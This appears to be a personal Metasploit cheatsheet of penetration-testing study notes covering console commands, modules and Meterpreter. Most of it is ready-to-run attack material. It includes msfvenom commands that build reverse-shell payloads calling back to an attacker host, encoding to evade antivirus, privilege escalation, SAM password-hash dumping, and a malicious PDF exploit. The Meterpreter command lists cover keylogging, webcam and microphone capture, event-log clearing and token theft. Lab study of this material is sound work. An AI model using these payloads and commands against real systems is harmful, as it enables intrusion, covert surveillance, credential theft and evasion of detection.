Metaspolit
Metasploit Cheatsheet
wordlists /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt
To read file enclose multi path files in colons
cat "c:\inetpub\wwwroot\realsecret.txt",
cat "c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt"
Main Components Auxiliary - Any supporting module, such as scanners, crawlers and fuzzers, can be found here.
Encoders - Encoders will allow you to encode the exploit and payload in the hope that a signature-based antivirus solution may miss them.
Evasion - evasion” modules will try that, with more or less success.
Exploits, neatly organized by target system Payloads are codes that will run on the target system.
Console Commands
ls - list contents
ping -c 1 - send a single ping
clear - to clear terminal screen
help - use to help menu for specific commands
history - see commands typed earlier
tab - auto completes type commands
use - use exploit, can also use with number ( use 0)
options - print options related to the exploit chosen
show - used in any context followed by a module type to list available modules ((auxiliary, payload, exploit, etc.)
back - to eave the context
info - to obtain further information on any module within its context. can also be used with path ( info exploit/windows/smb/ms17_010_eternalblue)
search - search the Metasploit Framework database for modules relevant to the given search parameter ( search ms17-010)
search cve:2017 name:smb - search exploit based on cve code
search MS12-020 - search exploit base on Microsoft identifier code
search type: auxiliary telnet - use to direct the search function using keywords such as type and platform
msfconsole - start metasploit console
set - parameters are set using the same command syntax: set PARAMETER_NAME VALUE. Can also be used to override any set parameter
setg - use to set value to use for all modules
unsetg - clear any set value
unset - clear any parameter value
unset all - clear all set parameters
exploit / run - launch module
exploit - z - run exploit and background session as it opens
check - check target system is vulnerable without exploiting
session - created after vulnerability has been successfully created ( comms channel between target system and Metasploit)
background - background session and go back to msfconsle prompt or CTRL + Z
search portscan - for port scanning
Nmap - for nmap scans (nmap -sC -sV ip address)
exit - exit msf console
chmod 777 - set file permissions after download
show payload - to show payloads
Metasploit Database
Help to simplify project management and avoid possible confusion when setting up parameter values. Allow for creating isolated workspaces
systemctl start postgresql - start PostgreSQl database
msfdb init - initialize Metasploit Database
db_status - check database status
workspace - list available workspace ( -a - add a workspace, -d - to delete workspace)
workspace [workspace_name] - use to change workspace.
workspac -h (help) - list available options for workspace
help - show database backend commands
db_nmap command - save Nmap scans to database
hosts and services - see relevant information on host and services running on target systems
host - h , services -h - to acces help options
services -S - to search for specific services
hosts -R - to add RHOSTS parameter to database
Vulnerability Scanning
search - list useful modules.
info - to have better understanding of a module, its use and purpose.
Exploitation
show payloads - list other commands to use with a particular exploit.
set payload - to choose payload
CTRL+Z - send exploit session to background
CTRL+C - abort exploit session
sessions - list active sessions (-h for help)
sessions -i - to interact with session
Working with Modules
RPORT - Remote port ( preset to 80)
RHOSTS - Remote hosts, the IP address of the target system ( 10.10.10.x – 10.10.10.y)
LHOST - Localhost ip address
LPORT - Local port - the port you will use for the reverse shell to connect back to
SESSION - Each connection established to the target system using Metasploit will have a session ID
CONCURRENCY: Number of targets to be scanned simultaneously.
THREADS: Number of threads that will be used simultaneously. More threads will result in faster scans.
MODULES:
smb_version
smb_enumshares
smb_login
search http_version
netbios/nbname
Msfvenom
Msfvenom help
Msfvenom allows you to create payloads in many different formats (PHP, exe, dll, elf, etc.) and for many different target systems (Apple, Windows, Android, Linux, etc.).
msfvenom -l payloads - show payloads
msfvenom --lists format - list supported output format
-f: Output format
-e - use to encode payload to invade antivirus
-p - payload
elf - payload format ( .exe, .py etc)
raw - indicates out format (base 64)
MSF - Setting Up Multi/Handler
used as mutli handler to recieve incomming connection
run msfconsole -q: quiet
use multi/handler
set LHOST
set LPORT
then run
Reverse payloads commands
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp
Python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
Local Exploit Suggester
As a tip, there is a module called the Local Exploit Suggester
. We will be using this module for this example, as the Meterpreter shell landed on the IIS APPPOOL\Web
user, which naturally does not have many permissions. Furthermore, running the sysinfo
command shows us that the system is of x86 bit architecture, giving us even more reason to trust the Local Exploit Suggester.
msf6 > search local exploit suggester
use 2376
show options
set session 2
then run

Having these results in front of us, we can easily pick one of them to test out. If the one we chose is not valid after all, move on to the next. Not all checks are 100% accurate, and not all variables are the same. Going down the list, bypassauc_eventvwr
fails due to the IIS user not being a part of the administrator's group, which is the default and expected. The second option, ms10_015_kitrap0d
, does the trick.
MSF - Local Privilege Escalation
msf6 exploit(multi/handler) > search kitrap0
use 0
show options
set LPORT
set SESSION 3
then run
Meterpreter
hashdump - use to dump the password hashes
metasploit payload for pentest, agent for command and control. runs on target system but not installed
https://docs.rapid7.com/metasploit/manage-meterpreter-and-shell-sessions/
Core Commands
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
sessions -u,--upgrade <id> Upgrade a shell to a meterpreter session on many platforms or
use post/multi/manage/shell_to_meterpreter
Stdapi: File system Commands
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Stdapi: Networking Commands
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
Stdapi: System Commands
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system's local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyboard_send Send keystrokes
keyevent Send key events
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
mouse Send mouse events
screenshare Watch the remote user's desktop in real time
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Stdapi: Audio Output Commands
Command Description
------- -----------
play play an audio file on target system, nothing written on disk
Priv: Elevate Commands
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
Command Description
------- -----------
timestomp Manipulate file MACE attributes
Commands
help - list all available commands
getpid - get process ID
ps - list running processes
msfvenom --list payloads - list payloads
grep meterpreter - only shows meterpreter payloads
show payloads - list other payloads
hashdump: Dumps the contents of the SAM database (Security Account Manager), stores user's passwords in NTLM format on Windows systems
cat: Will show the contents of a file to the screen
search: Will search for files ( search -f [filename (secrets.txt)]
run: Executes a Meterpreter script or Post module
exit : Terminate the Meterpreter session
upload: Will upload a file or directory
download: Will download a file or directory
rm: Will delete the specified file
edit: to edit a file
sysinfo: Gets info about the remote system such as OS
keyscan_start: capture keystrokes
screenshare - watch user desktop in real time
getsystem: Attempt to elevate privileges
shell: Launch a command line shell, CTRL+Z to go back
load: Load additional tools
creating client side payload using msfpc and social engineering tool Kali Linux
use exploit/windows/fileformat/adobe_utilprintf
set FILENAME malicious.pdf
set LHOST
set LPORT
run
Last updated